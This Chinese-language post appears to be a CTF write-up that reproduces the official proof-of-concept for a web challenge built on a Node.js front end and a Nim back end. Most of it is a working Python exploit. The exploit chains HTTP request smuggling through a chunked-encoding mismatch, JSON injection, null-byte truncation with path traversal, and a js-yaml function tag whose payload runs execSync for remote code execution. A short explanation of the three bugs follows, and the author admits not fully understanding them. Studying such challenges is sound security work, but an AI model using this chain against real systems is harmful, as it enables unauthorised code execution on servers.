很有意思的一道题目

官方给的poc

在poc之前先安装pycurl

export LDFLAGS="-L/opt/homebrew/opt/openssl/lib"
export CPPFLAGS="-I/opt/homebrew/opt/openssl/include"
env PYCURL_CURL_CONFIG=/opt/homebrew/bin/curl-config pip install pycurl --no-cache-dir

import requests
import socket
import pycurl
import os
import json
from io import BytesIO
from argparse import ArgumentParser

parser = ArgumentParser()
parser.add_argument("target", nargs="?", default="http://localhost:10150/")
parser.add_argument("--http-username", default="0802930ba132533b")
parser.add_argument("--http-password", default="4c85e04da1def028")
args = parser.parse_args()

target = args.target
if target.endswith("/"):
target = target[:-1]
http_username = args.http_username
http_password = args.http_password
password = 1111111111111111111111111111111


def get_sess():
sess = requests.Session()
if http_username and http_password:
sess.auth = (http_username, http_password)
return sess


def register(username, password, priloc="before"):
if priloc == "before":
data = {"privilegeLevel": "user", "username": username, "password": password}
else:
data = {"username": username, "password": password, "privilegeLevel": "user"}
assert (
get_sess()
.post(
f"{target}/register",
json=data,
)
.json()["success"]
)


def json_inject(username, content, priloc="before"):
register(username, password, priloc)

payload = json.dumps(
{
"username": username,
"old_password": password,
"new_password": content,
}
)
c = pycurl.Curl()
c.setopt(c.URL, f"{target}/login")
if http_username and http_password:
c.setopt(c.USERPWD, f"{http_username}:{http_password}")
c.setopt(c.POST, 1)
c.setopt(c.HTTPHEADER, ["Transfer-Encoding: CHUNKED"])
c.setopt(
c.POSTFIELDS,
f"POST /change_password HTTP/1.0\r\nContent-Length: {len(payload)}\r\n\r\n"
+ payload,
)
c.setopt(c.WRITEDATA, BytesIO())
c.perform()
c.close()


yamluser = os.urandom(8).hex()
json_inject(
yamluser + ".yaml\0",
""""peko", "access": {"profile": true}, "privilegeLevel": { toString: !!js/function "function(){ console.log('pwned'); flag=process.mainModule.require('child_process').execSync('ls','utf-8').toString(); return flag }" } } # """,
priloc="after",
)
print(yamluser)
lfiuser = os.urandom(8).hex()
json_inject(lfiuser, f'"peko", "privilegeLevel": "../../../users/{yamluser}"')
print(lfiuser)

sess = get_sess()
print(
sess.post(
f"{target}/login",
json={"username": lfiuser, "password": "peko"},
).json()
)
print(sess.get(f"{target}/profile").text)

稍微分析一下
这题有两个server,node.js 跟nim,基本上大部分功能都是在nim server 实现的,你可以登入、注册以及修改密码,而使用者的资料会存在yaml 档案里面,目标是要达成RCE。

第一个洞是request smuggling,Node.js 接受Transfer-Encoding: CHUNKED但是Nim 只看chunk,可以利用这个差异来达成走私的目的。

但走私之后能干嘛呢?

第二个洞是Nim 对于JSON 的行为,先把一个栏位设成很大的数字,Nim 会把它当作是一个RawNumber,在更新的时候就会不带引号,可以利用这点来达成JSON injection。

第三个洞是有了JSON injection 之后就可以利用js-yaml 的功能创造出一个有JS function 的物件,最后利用这个物件会在渲染时呼叫toString,就达成RCE 了

额,其实我不会,日后再来

privilegeLevel: {
toString: !<tag:yaml.org,2002:js/function> "function (){console.log('hi')}"
}
access: {'profile': true, register: true, login: true}

有个Nim00截断